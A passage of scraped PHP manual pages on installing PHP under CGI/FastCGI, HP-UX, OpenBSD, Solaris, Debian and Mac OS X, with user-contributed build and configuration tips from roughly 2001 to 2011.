      SetHandler fastcgi-script
  </Location>

  # define fastcgi external serveur for virtual path "/fcgi-bin/phpfcgi" to execute on targetmachinehost with targetport
  FastCgiExternalServer /fcgi-bin/phpfcgi -host targetmachinehostname:targetport

  # mime type definietion for some extention
  AddType application/x-httpd-fastphp .php .cphp .php4

  #define apache cgi regirection with the virtual action script /fcgi-bin/phpfcgi associated with the defined mime type.
  Action application/x-httpd-fastphp /fcgi-bin/phpfcgi

start apache.

compile php with --enable-cgi  and --enable-fastcgi=/to/lib/fastcgi

start on target machine php with "php -b ip:port" for ear request from mod_fastcgi.

some aditional thing are in sapi/cgi/README.FastCGI of php src tree.

the document root of the apache machine must be synchronous with the php target machine... with the same tree...

and with that solution you can mixe php5 and php4 with different extention of apache directory limitation to one or another version...

with performance like mod_php!
kptrs at yahoo dot com 06-Jun-2004 04:37
Dug out from the discussion at the site below is a good tip: if you are working with an existing PHP installation which did not build either the commandline or CGI servers, you can use the lynx non-graphical web browser to get the web server to execute php scripts from the command line (or cron jobs, etc):

lynx -dump http://whatever

>If you wish to use PHP as a scripting language, a good article to read is >http://www.phpbuilder.com/columns/darrell20000319.php3

>note that the article is aimed at *nix not win32, but most of it still applies
phil at philkern dot de 03-Jan-2003 10:40
Thanks nordkyn, this one was very helpful.
Please note that the kernel has to be compiled with misc binary support, which is activated on most distributions like Debian.
You would have to please these two lines in a script to run it after every reboot, on debian I propose /etc/init.d/bootmisc.sh
You could place this lines at the end but before : exit 0
---
# Install PHP as binary handler

mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
echo ":PHP:E::php::/usr/bin/php4:" > /proc/sys/fs/binfmt_misc/register
---
And please remember that the package management would override the file on the next distribution upgrade :)
cv at corbach dot de 20-Feb-2002 08:18
Up to and including 4.1.1 you have to set doc_root to an non empty value if you configure PHP for CGI usage with --enable-discard-path.
Sun, iPlanet and Netscape servers on Sun Solaris
HP-UX specific installation notes
Installation on Unix systems


HP-UX specific installation notes

This section contains notes and hints specific to installing PHP on HP-UX systems.

There are two main options for installing PHP on HP-UX systems. Either compile it, or install a pre-compiled binary.

Official pre-compiled packages are located here: » http://software.hp.com/

Until this manual section is rewritten, the documentation about compiling PHP (and related extensions) on HP-UX systems has been removed. For now, consider reading the following external resource: » Building Apache and PHP on HP-UX 11.11

User Contributed Notes

Vinayak 23-Mar-2006 04:14
Installing PHP 5.x with Apache 2.x on HP UX 11i and configuring
PHP 5.x with Oracle 9i

I am very glad to share this information to configure PHP 5.x work
with Apache 2.x and Oracle 9i on HP UX 11i.

Step 1: Install Apache 2.x with DSO support:
--------------------------------------------

This is a stratight forward Apache installation with
--enable-so option

gzip -d httpd-2_0_NN.tar.gz
tar xvf httpd-2_0_NN.tar
cd httpd-2_0_NN

./configure \
--prefix=/var/apps/apache2 \
--enable-so \
--enable-mods-shared=most \
--libexecdir=/var/apps/apache2/libexec

You can add other options as required.

make

make install

Step 2: Install and configure PHP 5.x with Oracle 9i
----------------------------------------------------

Edit the ./configure file to change "$OCI8_DIR/lib" as "$OCI8_DIR/lib32"

By default, with Oracle 9i, "$OCI8_DIR/lib" will be poiting to
Oracle 64 bit libraries in "$OCI8_DIR/lib64" directory.
Unfortunately, PHP 5.x does not work with 64 bit oracle shared libraries.

Run configure..

$ ./configure \
--prefix=/var/apps/php \
--with-apxs2=/var/apps/apache2/bin/apxs \
--with-oci8=/oracle/app/product/9.0.2 \
--disable-libxml \
--enable-libgcc \
--enable-ftp \
--enable-calendar \
--enable-track-vars \
--enable-trans-sid \
--enable-sigchild \
--libexecdir=/var/apps/apache2/libexec \
--with-config-file-path=/var/apps/apache2/conf

--enable-libgcc \
--enable-sigchild \

You can add other options as required. You can use the --help
option to configure to get a complete list.

After configure runs, you must edit the file libtool.

$ vi ./libtool

At line 184, you should change the line from:

deplibs_check_method="unknown"
to
deplibs_check_method="pass_all"

so that PHP and mod_php are properly compiled.

3. Compile and install the files.

Run make. This should complete normally.

$ make

Run make install. This will fail when it attempts to call apxs.

$ make install

Step 3: Configure Apache 2.x
----------------------------

Edit httpd.conf file to include

For PHP 5:

LoadModule php5_module modules/libphp5.so

AddType application/x-httpd-php .php .phtml

Set environment variables in $APACHE_ROOT/bin/envvars file

SHLIB_PATH="/var/apps/apache2/lib:$SHLIB_PATH"
export SHLIB_PATH

LD_LIBRARY_PATH=$ORACLE_HOME/app/product/9.0.2
/lib32
export LD_LIBRARY_PATH

LD_PRELOAD=/usr/lib/libpthread.sl:$ORACLE_HOME/app/
product/9.0.2/JRE/lib/PA_RISC/native_threads/libjava.sl
export LD_PRELOAD

After lot of hard work, by following the above procedure,
we were able to make PHP 5.x is work with Apache 2.x
and Oracle 9i on HP UX 11i OS.

Hope this will save your time!!
flconseil at yahoo dot fr 23-Jan-2006 06:47
If hpws is not an option for you, or if you want to build Apache and PHP with your own options and extensions, I have written a step by step tutorial.

It explains how to build Apache 2.0 and PHP 5 from scratch on HP-UX 11i (11.11), including most modules and extensions (zlib, SSL, LDAP, iconv, expat, xml, xslt, gd, png, Xpm, jpeg, freetype, bzip2, curl, MySQL, PostgreSQL, Oracle, AdoDB) :

http://flaupretre.free.fr/redir.php?key=build_apa_php
Marcus dot Reimann at reimann-systemberatung dot de 29-Aug-2003 07:50
If you need an Apache2-Server with PHP4 under HP-UX 11.x, it's a good way to download the HP-WebServer from the HP-Website (http://software.hp.com). The HP-Webserver comes with numerous moduls. First install the HP-Webserver (swinstall -s /absolute_path_to_depot_file/name_of_depot_file). After that, download the newest PHP-Version from http://www.php.net (HP ships the HP-Webserver with an old PHP-Version) and unpack the tar-file in a working-directory.

Use the following parameters for configure PHP:
./configure --with-apxs2=/opt/hpws/apache/bin/apxs --prefix=/opt/hpws/apache/php [and so on...]

If configure prints the error "expr: An integer value was expected.", than you have to edit the Script "configure". Replace the line:
APACHE_VERSION=`expr $4 \* 1000000 + $5 \* 1000 + $6`
with the following (correct and very long) line:
APACHE_VERSION=`$APXS_HTTPD -v | head -1 | cut -f3 -d' ' | cut -f2 -d'/' | awk 'BEGIN { FS = "."; } { printf "%d", ($1 * 1000 + $2) * 1000 + $3;}'`

Why? The output of "httpd -v" prints the following string:
Server version: HP-UX_Apache-based_Web_Server/2.0.46
Server built:   Jun 26 2003 04:41:28
But the configure-Script can't deal with this string.
jason dot sheets at hp dot com 27-Feb-2003 02:45
In order to use PHP 4.3.0 on HP-UX 11 I've found I must compile it statically with Apache, it does not build as a module.
jsheets at shadotech dot com 30-Sep-2002 11:42
To clarify the my $dso_ext = "so"; comment, you can find my $dso_ext = "so";  in your apxs script you need to change that line to my $dso_ext = "sl"; otherwise make install will fail.
nikrou at ifrance dot com 08-Aug-2002 04:32
On HP-UX 11.00, there's a problem to compiling PHP as a DSO module. The script apxs is looking fot libphp4.so instead of libphp4.sl. Change the line  in the script (search "extension").
Write : my $dso_ext = "sl";
instead of : my $dso_ext = "so"; // old line

Nicolas
ichoudhury007 at yahoo dot com 30-May-2002 09:11
On HP-UX 11 ... When you are compiling PHP as DSO, you will encounter an error during "make install"

        /usr/local/apache/bin/apxs -i -a -n php4 libs/libphp4.sl
apxs:Error: file libs/libphp4.sl is not a DSO
*** Error exit code 1

---- This is because installation is looking for libphp4.so instead of sl.  You can rename or link as libphp4.so and run
james at nospam dot hp dot com 28-Jan-2002 07:46
To build for HP-UX 10.X/11.X (and some other UNIX variants) with '--enable-sockets', you'll get an error about 'u_int' being redefined in /usr/include/netinet/in.h and ext/sockets/sockets.c will fail to compile.  The problem is this line from main/php_config.h:
#define in_addr_t u_int

The above define is a problem because HP-UX (and some other UNIXs) typedef in_addr_t.  A good workaround is to replace this define in main/php_config.h with the lines from the HP-UX 11.X netinet/in.h header file (which will work for 10.X as well):
#ifndef _IN_ADDR_T
#define _IN_ADDR_T
#ifdef  __LP64__
   typedef unsigned int   in_addr_t;
#else
   typedef unsigned long  in_addr_t;
#endif
#endif
spam at adhocinc dot com 11-Oct-2001 02:35
For PHP 4.0.6 under HP-UX 11.00, I ran into errors during the compilation related to "LC_CTYPE" and other "LC_" vars.  The compilation complained that "LC_" such and such first used in such and such function.  (I think the error first came up in php_pcre.c, then in basic_functions.c).  The solution was to add "#include <locale.h>" to the php.h file.  Compilation was successful after that was added, with no other issues.  Used gcc 2.95.3, apache 1.3.20, bison 1.28, flex 2.5.4.a.
steven at oakleafconsultancy dot com 23-Jul-2001 08:28
Just a quick point to those of you (like me!) who might not be sharp enough to notice this: If you want to install PHP on an HP-UX 11.x box then you'll need to download and install the 11.x (not 10.20) versions of the software (like gcc and bison).  I didn't notice this and spent a large proportion of a day trying to figure out why the software wouldn't install!
Steve
marshalm at ebrd dot com 17-May-2001 10:58
HP-UX 11.X PA-RISC installation with oracle (oci8). You need to install the HP-UX patch PHSS_22514 patch (updated libdld.sl), otherwise you will get errors with dlopen() and dlclose() not found during the apache integration stage.
jonas__linden at hotmail dot com 22-Jan-2001 09:05
Building under HP-UX11
If you are using HP ANSI C you have to add +e i.e -Aa -D_HPUX_SOURCE +e
CGI and command line setups
OpenBSD installation notes
Installation on Unix systems


OpenBSD installation notes

This section contains notes and hints specific to installing PHP on » OpenBSD 3.6.

Using Binary Packages

Using binary packages to install PHP on OpenBSD is the recommended and simplest method. The core package has been separated from the various modules, and each can be installed and removed independently from the others. The files you need can be found on your OpenBSD CD or on the FTP site.

The main package you need to install is php4-core-4.3.8.tgz, which contains the basic engine (plus gettext and iconv). Next, take a look at the module packages, such as php4-mysql-4.3.8.tgz or php4-imap-4.3.8.tgz. You need to use the phpxs command to activate and deactivate these modules in your php.ini.

Example #1 OpenBSD Package Install Example

# pkg_add php4-core-4.3.8.tgz
# /usr/local/sbin/phpxs -s
# cp /usr/local/share/doc/php4/php.ini-recommended /var/www/conf/php.ini
  (add in mysql)
# pkg_add php4-mysql-4.3.8.tgz
# /usr/local/sbin/phpxs -a mysql
  (add in imap)
# pkg_add php4-imap-4.3.8.tgz
# /usr/local/sbin/phpxs -a imap
  (remove mysql as a test)
# pkg_delete php4-mysql-4.3.8
# /usr/local/sbin/phpxs -r mysql
  (install the PEAR libraries)
# pkg_add php4-pear-4.3.8.tgz

Read the » packages(7) manual page for more information about binary packages on OpenBSD.

Using Ports

You can also compile up PHP from source using the » ports tree. However, this is only recommended for users familiar with OpenBSD. The PHP 4 port is split into two sub-directories: core and extensions. The extensions directory generates sub-packages for all of the supported PHP modules. If you find you do not want to create some of these modules, use the no_* FLAVOR. For example, to skip building the imap module, set the FLAVOR to no_imap.

Common Problems

  • The default install of Apache runs inside a » chroot(2) jail, which will restrict PHP scripts to accessing files under /var/www. You will therefore need to create a /var/www/tmp directory for PHP session files to be stored, or use an alternative session backend. In addition, database sockets need to be placed inside the jail or listen on the localhost interface. If you use network functions, some files from /etc such as /etc/resolv.conf and /etc/services will need to be moved into /var/www/etc. The OpenBSD PEAR package automatically installs into the correct chroot directories, so no special modification is needed there. More information on the OpenBSD Apache is available in the » OpenBSD FAQ.
  • The OpenBSD 3.6 package for the » gd extension requires XFree86 to be installed. If you do not wish to use some of the font features that require X11, install the php4-gd-4.3.8-no_x11.tgz package instead.

Older Releases

Older releases of OpenBSD used the FLAVORS system to compile up a statically linked PHP. Since it is hard to generate binary packages using this method, it is now deprecated. You can still use the old stable ports trees if you wish, but they are unsupported by the OpenBSD team. If you have any comments about this, the current maintainer for the port is Anil Madhavapeddy (avsm at openbsd dot org).

User Contributed Notes

hg at ostc dot de 15-May-2005 10:45
Also you should add "-a /var/www/dev/log" to the syslogd_flags
for propper logging of php-extensions like imap.so and create
a /var/www/etc/master.passwd with an www-user-entry and run
pwd_mkdb -d /var/www/etc /var/www/etc/master.passwd for propper
use of libc-client.a functions in imap.so.
openbsd-fanatic 10-May-2005 01:51
I am user that is just migrating to open source and thought I would take openbsd for a spin. This article, by Gregory L. Magnusson, really helped me to get a working apache-php-mysql server going on openbsd.
http://www.devx.com/security/Article/28059/0/page/1
ameen(at)dausha(dot)net 02-Nov-2003 07:47
I just finished spinning my wheels with PHP/Apache on OpenBSD 3.3, and it took a Google to fix my problem. I followed the instructions by (0429196301 at netcabo dot pt) written on Sep 19, 2003 and kept being fed a segmentation fault when I tried to start httpd.

Then I read the page cited below that suggested playing with the order of the LoadModules, and put the PHP first. I followed that recommendation and httpd started without problems!

Page that saved me:
http://archives.neohapsis.com/archives/openbsd/2002-04/3074.html

"Change around the order of the Apache modules, this is one of the
drawbacks to the module API for Apache 1.3 is that the order is very
important. I would try making the PHP 4 module first, Perl module second
and FP module last. "
sanchero [at] gvsu [dot] edu 09-May-2003 11:59
On OpenBSD 3.2, given the steps outlined above using pre-built packages you will get a new "/var/www/conf/httpd.conf" that contains a section like this:

<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

This causes mod_php4 to load only when starting Apache w/SSL, so if this isn't what you want add the mod_php4 line again above (or below) this section, like so:

AddModule mod_php4.c   <<------ SEE? - now should load normally.
<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

I also added this for good measure:

<IfModule mod_php4.c>
         AddType application/x-httpd-php .php [blah blah]
</IfModule>

Seems to work.
HP-UX specific installation notes
Solaris specific installation tips
Installation on Unix systems


Solaris specific installation tips

This section contains notes and hints specific to installing PHP on Solaris systems.

Required software

Solaris installs often lack C compilers and their related tools. Read this FAQ for information on why using GNU versions for some of these tools is necessary.

For unpacking the PHP distribution you need

  • tar
  • gzip or
  • bzip2

For compiling PHP you need

  • gcc (recommended, other C compilers may work)
  • make
  • GNU sed

For building extra extensions or hacking the code of PHP you might also need

  • flex (up to PHP 5.2)
  • re2c
  • bison
  • m4
  • autoconf
  • automake
In addition, you will need to install (and possibly compile) any additional software specific to your configuration, such as Oracle or MySQL.

Using Packages

You can simplify the Solaris install process by using pkgadd to install most of your needed components. The Image Packaging System (IPS) for Solaris 11 Express also contains most of the required components for installation using the pkg command.

User Contributed Notes

ariedederde 18-Jun-2011 12:58
Install php on solaris express:

pkg search php
part of output is e.g.

pkg:/web/php-52@5.2.12-0.151.0.1

pkg install php-52

php binary installs in /usr/php/5.2/bin/php
julie at baumler dot com 28-Dec-2006 09:22
There's a great how-to for Solaris 10 from Mel Lester Jr at http://meljr.com/~meljr/AMPSolaris10.html.

It even shows how to install php in a global zone and configure it in your other zones.
francois at tekwire dot net 06-Oct-2006 01:11
A detailed HOWTO document describing how to build Apache & PHP on Solaris is available at http://www.tekwire.net/redir.php/build_apa_php

This document also explains how to build from scratch every piece of software they can depend on, including almost every Apache modules and PHP extensions : Apache 2.0, PHP V4 & V5, zlib, OpenSSL, OpenLDAP, expat, iconv, mod_jk, xml2, xslt, png, jpeg, freetype, bzip2, curl, imap, MySQL, PostgreSQL, mm.

Also includes a cute dependency diagram making clear the relationships between all these libraries.
ozone at cname dot com 15-Jan-2006 09:46
php >= 5.1.1 requires a fully GNU toolchain on solaris; /usr/ccs/bin/ld will fail to link. see bug 35496.
AxL 19-Dec-2005 10:48
If you have problems building php with sqlite on solaris, add "-lrt" library so you dont get the fdatasync undefined symbol error.
anacreo 17-Dec-2004 08:11
Below was copied from a Sun Forum -- if having problems compiling on Solaris 10 try this:

Re: where is ctid_t defined? (Solaris 10)
Author: Juergen.Keil         Nov 17, 2004 10:37 AM (reply 1 of 10)
ctid_t is defined in /usr/include/sys/types.h ("typedef id_t ctid_t;").

I guess what has happend is that you're using a gcc compiler that
was build on Solaris 9 (or some other Solaris release older than
Solaris 10 b69), and this gcc release has a set of "fixed" gcc specific
headers that don't match your s10b69 system headers any more.

The fix is to build a fresh set of gcc "fixed" headers:

# cd /opt/sfw/gcc-3/lib/gcc-lib/i386-pc-solaris2.9/3.3.2/install-tools/

# cat > mkheaders.conf
SHELL=/bin/sh
SYSTEM_HEADER_DIR="/usr/include"
OTHER_FIXINCLUDES_DIRS=""
FIXPROTO_DEFINES="-D_XOPEN_SOURCE"
STMP_FIXPROTO="stmp-fixproto"
STMP_FIXINC="stmp-fixinc"
^D

# ./mkheaders
xlark at sdf dot lonestar dot org 11-Jul-2003 07:48
If you do a "Core Install" of Solaris,  be sure you have installed the SUNWlibm and SUNWlibms packages.  PHP 4.2.3 fails to compile without them.

If you get errors with GCC about math.h, then you don't have them installed.
ejflores at alcatel dot es 03-Jul-2003 06:14
./configure not run fine with /usr/ucb/tr you need to install GNU textutils
ineves at iportalmais dot pt 07-Mar-2003 03:09
I have compiled php 4.2.3, on my solaris 9, sparc, it works, i have gcc 3.2.2, from sunfreeware.org, i have compiled with

./configure --prefix=/opt/php --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-imap=/usr/src/soft/imap-2002b --with-ldap --with-imap-ssl=/usr/local/ssl

It compiles, but when i try to run it says something like:

bash-2.05# /opt/apache/bin/apachectl start
Syntax error on line 205 of /opt/apache/conf/httpd.conf:
Cannot load /opt/apache/libexec/libphp4.so into server: ld.so.1: /opt/apache/bin/httpd: fatal: relocation error: file /opt/apache/libexec/libphp4.so: symbol ldap_start_tls_s: referenced symbol not found
/opt/apache/bin/apachectl start: httpd could not be started

This means that the ldap librarys that came with solaris, are not very fine, you should use from openldap.org packages...

it is using this library:

bash-2.05# ldd /opt/apache/libexec/libphp4.so
    ...
    libldap.so.5 =>  /usr/lib/libldap.so.5

his one is from solaris installation.

(sorry about my english)
nicos at php dot net 06-Jan-2003 07:49
Note that you also need GNU sed or you'll have some errors lile "Output line too long."
m at hackerz dot uk dot co 15-Oct-2002 09:49
Compiled Ok on Solaris 9 after the addition of Bison Flex automake and autoconf, adding /usr/local/bin to the path and linking /usr/ccs/bin/ar to /usr/local/bin/ar.
php at woodNO-SPAMstea dot com 26-Jun-2002 11:15
Howard Glynn's post from May 22 is right on - if you're running Solaris 8, make sure you get the latest Recommended patch cluster. I've been struggling with that library problem that happens when you start Apache for several weeks, tweaking the config, setting LD_LIBRARY_PATH, etc. I couldn't believe that the PHP developers wouldn't have the Solaris build right - seems like a fairly important OS. But the latest Solaris patch cluster fixed the problem, so I guess it was my fault for not being up to date. I'm running PHP 4.2.1 now with Apache 2.0.36, works great.
ltfrench at vt dot edu 09-Jun-2002 02:09
To get PHP 4.2.0 or better to make on Solaris 8 (using gcc and gnu autoconf) you need to:
ln -s /usr/local/bin/gcc /usr/local/bin/cc

See: http://bugs.php.net/bug.php?id=16833
howardglynn at hotmail dot com 22-May-2002 10:26
I've had a lot of problems with "dn_skipname" reference errors when trying to do a php / apache shared-library install on solaris 8. All compiling was clean, but could not restart apache with mod_php. After much trial and error, I found a solution by installing patch 109326-07 which has some fixes for resolver (I think). I had one web server without the patch, and one with it, and was able to show the same commands compiling, working and restarting on one, but not the other. Installed patch on machine, compiled clean and was up and running after doing this. Works great. Get the patch from sun.com
gsmith1 at iupui dot edu 03-Apr-2002 04:35
Loading 4.1.2 on solaris 8 in C shell with mysql 4.0.1 I kept running into file not found errors by ld during make.  A specific error relating to adding mysql was solved by adding the following environment variable:
setenv LD_RUN_PATH=/usr/lib:/usr/local/lib:/usr/local/mysql/lib
shane dot kinsch at netracorp dot comNOSPAM 17-Feb-2002 12:49
PHP 4.1.1 / Apache 1.32 Buile Issues (Solaris 2.8)

Apache build options:
./configure --prefix=/usr/local/etc/apache --enable-module=rewrite --enable-shared=rewrite

PHP build options:
./configure --with-mysql=/usr/local/etc/mysql --with-apxs=/usr/local/etc/apache/bin/apxs

Both Apache and PHP compiled without errors and installed cleanly.

The Error when starting Apache:
Syntax error on line 208 of /usr/local/etc/apache/conf/httpd.conf:
Cannot load /usr/local/etc/apache/libexec/libphp4.so into server:
ld.so.1: /usr/local/etc/apache/bin/httpd: fatal: relocation error: file /usr/local/etc/apache/libexec/libphp4.so: symbol dn_skipname: referenced symbol not found ./apachectl start: httpd could not be started

Line 208 in the httpd.conf file is:
LoadModule php4_module        libexec/libphp4.so

The solution:
For some reason, even though LD_LIBRARY_PATH was being set properly,
it wasn't being read fully.  You will need to create a runtime
linking environment by doing this:

#crle -c /var/ld/ld.config -l /usr/lib:/usr/local/lib:/usr/local/etc/mysql/lib

Shane Kinsch
NetraCorp LLC / SecurNET Consulting
Louis at ewens dot com 22-Jun-2001 07:39
On Solaris, if upon starting Apache you get an error like this:

Syntax error on line 33 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: ld.so.1: /usr/loca
l/apache/bin/httpd: fatal: libmysqlclient.so.10: open failed: No such file or directory
./apachectl start: httpd could not be started

..try inserting the following lines into the configuration section of your apachectl startup shell script:

LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/usr/local/mysql/lib/mysql
export LD_LIBRARY_PATH

Change the /usr/local/mysql/ prefix to where ever your MySQL installation is. Make sure to add on the /lib/mysql extension to your own path though.

Do your normal "apachectl start" command to start Apache and voila, no more error. Apachectl can be found in the bin directory of your Apache installation.
cullin at cometsystems dot com 22-Jan-2001 08:59
When compiling and installing on Solaris, you might encounter a but that occurs only when you try and start apache - in otherwords, the module compiles fine but it won't run!  The specific error is that it can't find a symbol called "__muldi3". From what I can tell, this is an internal symbol created by gcc and the problem happens when you compile the code with gcc and then use a different linker.

To fix the problem, make sure that there is only one 'ld' program in your $PATH and that you also specify '--with-gnu-ld' in your configuration.
OpenBSD installation notes
Debian GNU/Linux installation notes
Installation on Unix systems


Debian GNU/Linux installation notes

This section contains notes and hints specific to installing PHP on » Debian GNU/Linux.

Warning

Unofficial builds from third-parties are not supported here. Any bugs should be reported to the Debian team unless they can be reproduced using the latest builds from our » download area.

While the instructions for building PHP on Unix apply to Debian as well, this manual page contains specific information for other options, such as using either the apt-get or aptitude commands. This manual page uses these two commands interchangeably.

Using APT

First, note that other related packages may be desired like libapache2-mod-php5 to integrate with Apache 2, and php-pear for PEAR.

Second, before installing a package, it's wise to ensure the package list is up to date. Typically, this is done by running the command apt-get update.

Example #1 Debian Install Example with Apache 2

# apt-get install php5-common libapache2-mod-php5 php5-cli

APT will automatically install the PHP 5 module for Apache 2 and all of its dependencies, and then activate it. Apache should be restarted in order for the changes take place. For example:

Example #2 Stopping and starting Apache once PHP is installed

# /etc/init.d/apache2 stop
# /etc/init.d/apache2 start

Better control of configuration

In the last section, PHP was installed with only core modules. It's very likely that additional modules will be desired, such as MySQL, cURL, GD, etc. These may also be installed via the apt-get command.

Example #3 Methods for listing additional PHP 5 packages

# apt-cache search php5
# aptitude search php5
# aptitude search php5 |grep -i mysql

The examples will show a lot of packages including several PHP specific ones like php5-cgi, php5-cli and php5-dev. Determine which are needed and install them like any other with either apt-get or aptitude. And because Debian performs dependency checks, it'll prompt for those so for example to install MySQL and cURL:

Example #4 Install PHP with MySQL, cURL

# apt-get install php5-mysql php5-curl

APT will automatically add the appropriate lines to the different php.ini related files like /etc/php5/apache2/php.ini, /etc/php5/conf.d/pdo.ini, etc. and depending on the extension will add entries similar to extension=foo.so. However, restarting the web server (like Apache) is required before these changes take affect.

Common Problems

  • If the PHP scripts are not parsing via the web server, then it's likely that PHP was not added to the web server's configuration file, which on Debian may be /etc/apache2/apache2.conf or similar. See the Debian manual for further details.
  • If an extension was seemingly installed yet the functions are undefined, be sure that the appropriate ini file is being loaded and/or the web server was restarted after installation.
  • There are two basic commands for installing packages on Debian (and other linux variants): apt-get and aptitude. However, explaining the subtle differences between these commands goes beyond the scope of this manual.

User Contributed Notes

juraj at jurajsplayground dot com 08-May-2009 05:59
On Ubuntu (since 7.04), rather do:
sudo tasksel install lamp-server

Details:
https://help.ubuntu.com/community/ApacheMySQLPHP
tranzbit at yahoo dot com 02-May-2009 01:59
On Ubuntu:

sudo apt-get install apache2 php5 mysql-client-5.0 mysql-server-5.0 phpmyadmin libapache2-mod-php5 libapache2-mod-auth-mysql php5-mysql

then restart the computer/start mysql manually
From:
http://ubuntuforums.org/showthread.php?t=186492
John Fisher 08-Feb-2007 04:53
With Apache2 and Php4 under Debian Sarge there is an extra configuration file :  /etc/apache2/sites-available/default
This file is not clearly documented, at least not for noobs, in Apache docs.

It overrides the conf file in the way you expect the /etc/apache2/conf.d/apache2-doc  to do according to the README.

Add ExecCGI to it to get rid of "Options ExecCGI is off in this directory"  errors.
Ben A. 17-Dec-2005 10:53
Although there are no PHP 5 packages for Debian 3.1 (aka "stable" or "sarge"), there are currently PHP 5 packages for "testing"/"etch" and "unstable"/"sid".  Installation works the same way.

Also, the same process can be used for Ubuntu, but note that some of the packages may be in the "universe" section instead of "main".
jimmychan at example dot com 23-Oct-2005 10:01
If you are using Debian 3.1

It is total, the php.ini is under
/etc/php4/apache2

Since Debian 3.1 default apache is 2.0.x version, this one just said how to change the php.ini under apache 1.3.x

If you need enable the ext. need manaul edit php.ini, and comment out # of what the ext. that you want to enable

Of course, you much first install the ext. first by like that

apt-get install php4-gd php4-mysql ......
Solaris specific installation tips
Installation on Mac OS X
Installation on Unix systems


Installation on Mac OS X

Table of Contents

  • Using Packages
  • Using the bundled PHP
  • Compiling PHP on Mac OS X

This section contains notes and hints specific to installing PHP on Mac OS X. PHP is bundled with Macs, and compiling is similar to the Unix installation guide.

User Contributed Notes

Dan Black 08-Mar-2007 08:00
My httpd.conf had some of the lines, but not all of them -- mine was missing the LoadModule and AddModule lines for php.  I'm not sure why -- I don't delete any of those; I just comment them out if I'm not using them.  Plus, the note above put a space in "LoadModule"; it has no space.  I didn't know about the "apachectl graceful" trick, though -- since "httpd -k restart" stopped working (probably around 10.2), I had just been doing it manually -- find the process, kill it, and hit httpd again -- thanks for the tip!

So for those who are missing any of the lines, here are the full lines.

In the section with all the other LoadModules:
  LoadModule php4_module        libexec/httpd/libphp4.so</div>

Directly below that section should be the AddModules; you need:
  AddModule mod_php4.c

And then the AddType lines should be right after the language priorities (so after the AddCharset lines and after the LanguagePriority bit):
  AddType application/x-httpd-php .php
  AddType application/x-httpd-php-source .phps

Then restart apache/httpd as described above, and hopefully you should be good.

BTW, the actual module should be at:
/usr/libexec/httpd/libphp4.so
So if things fail, you can check to see if that's there.

Thanks to others who posted here; it definitely helped and got me on the right track.  I just had to find the module manually to write my own LoadModule line.
Jeff Hayden 09-Sep-2006 11:17
Just a note. The darwinports software is now macports and you can get it at: http://www.macports.org/

If you use macports, be sure to change any refernces you may have in your calling scripts to macports as the file macports now gets installed.
andreas at fink dot org 18-Aug-2004 12:01
To build on MacOS X 10.3.5 set the environment variable CFLAGS in the following way (depending on your shell)

setenv CFLAGS "-DBIND_8_COMPAT=1 -DEAPI -O3"

export CFLAGS="-DBIND_8_COMPAT=1 -DEAPI -O3"

Then launch configure with the options:

./configure --prefix=/usr --mandir=/usr/share/man  ....

The -DBIND_8_COMPAT=1 gets you over a problem in the DNS files because MacOS X has definitions for Bind9 and PHP expects Bind8 definitions. -DEAPI is needed if you build it for Apache 1.3.31. -O3 enables the gcc optimizer.

You can also add one of the following lines to your CFLAGS depending on the CPU you use to further improve speed:
-mcpu=G3 -mtune=G3
-mcpu=G4 -mtune=G4
-mcpu=G5 -mtune=G5
Rick 28-Oct-2003 06:12
under MacOS 10.3 if your compile fails

vi Makefile
find the dns.c entry
add the switch -DBIND_8_COMPAT
run make again
jack dash pinette at uiowa dot edu 24-Jan-2003 01:56
PHP 4.3.0 can easily be build on Mac OS X client; you don't need to download a binary.  The process is quite fast and painless.

See
http://www.onlamp.com/pub/a/php/2003/01/17/phpcookbook.html
for details.
php at radicalcomputingconcepts dot com 15-May-2002 04:35
10.1 with fink installed into /sw ,mysql installed from fink.
finally :
Apache/1.3.24 (Darwin) DAV/1.0.3 PHP/4.2.1 mod_ssl/2.8.8 OpenSSL/0.9.6c configured

initial apache config:
./configure --prefix=/sw --enable-shared=max --enable-module=most --target=apache --with-layout=GNU
--enable-suexec --suexec-caller=www-data

then php config:
./configure --prefix=/sw --with-xml --with-apache=../apache_1.3.24 --with-curl=/sw --with-pdflib=/sw
--enable-exif --with-mysq=/sw

then mod-ssl config:
./configure --with-apache=../apache_1.3.24 --with-ssl=/sw --enable-rule=SSL_SDBM

final apache config:
./configure --prefix=/sw --enable-shared=max --enable-module=most --target=apache --with-layout=GNU
--enable-suexec --suexec-caller=www-data --activate-module=src/modules/php4/libphp4.a --enable-module=ssl

on final make of apache there was error in src/modules/ssl. i had to rm -ldbm and -lgcc and run gcc line by hand. then was able to finish make.

i dont know what effect that may have on the build and i am interested to know, this was the only problem spot finally after many hours of hacking at it.
testing so far:
phpinfo() via http and https works.
info at ericbontenbal dot nl 18-Feb-2002 09:43
for using PHP on MacOSX, see article #106485 of the Apple knowledge base
lanhel at mac dot com 07-Nov-2001 06:14
Getting PHP running on 10.1 is simple.

1. su to root
2. Edit /etc/httpd/httpd.conf
3. Uncomment "Load Module php4_module" line.
4. Uncomment "AddModule mod_php4.c" line.
5. Uncomment "AddType application/x-httpd-php .php" line.
6. Uncomment "AddType application/x-httpd-php-source .phps" line.
7. Find "<Directory /home/*/Sites>" block and uncomment the entire Directory directive block.

This will allow PHP to execute from ~/Sites directory.
larry(at)shafferinteractive.com 24-Sep-2001 05:40
For the latest on Mac OS X PHP installs (as of 10.0.4 on 9.24.01) check out http://developer.apple.com/internet/macosx/php.html

This page also has some info on MySQL installs.
oster at ieee dot org 30-Jul-2001 12:17
If you've got Mac OS X pre-installed on your Mac, you've also got php4 pre-installed. You don't need to download or compile anything. You just need to edit the /etc/httpd/httpd.conf file. Use the "sudo open -a TextEdit..." command line, above. Search for "php", and make sure you've un-commented _all_ the relevant lines: the two AddType lines above, and also the AddModule and LoadModule lines. (but not the AddType lines for php3, since you'll be using php4.) Save and restart Apache with "sudo apachectl graceful", and you are done.
Debian GNU/Linux installation notes
Using Packages
Installation and Configuration


Using Packages

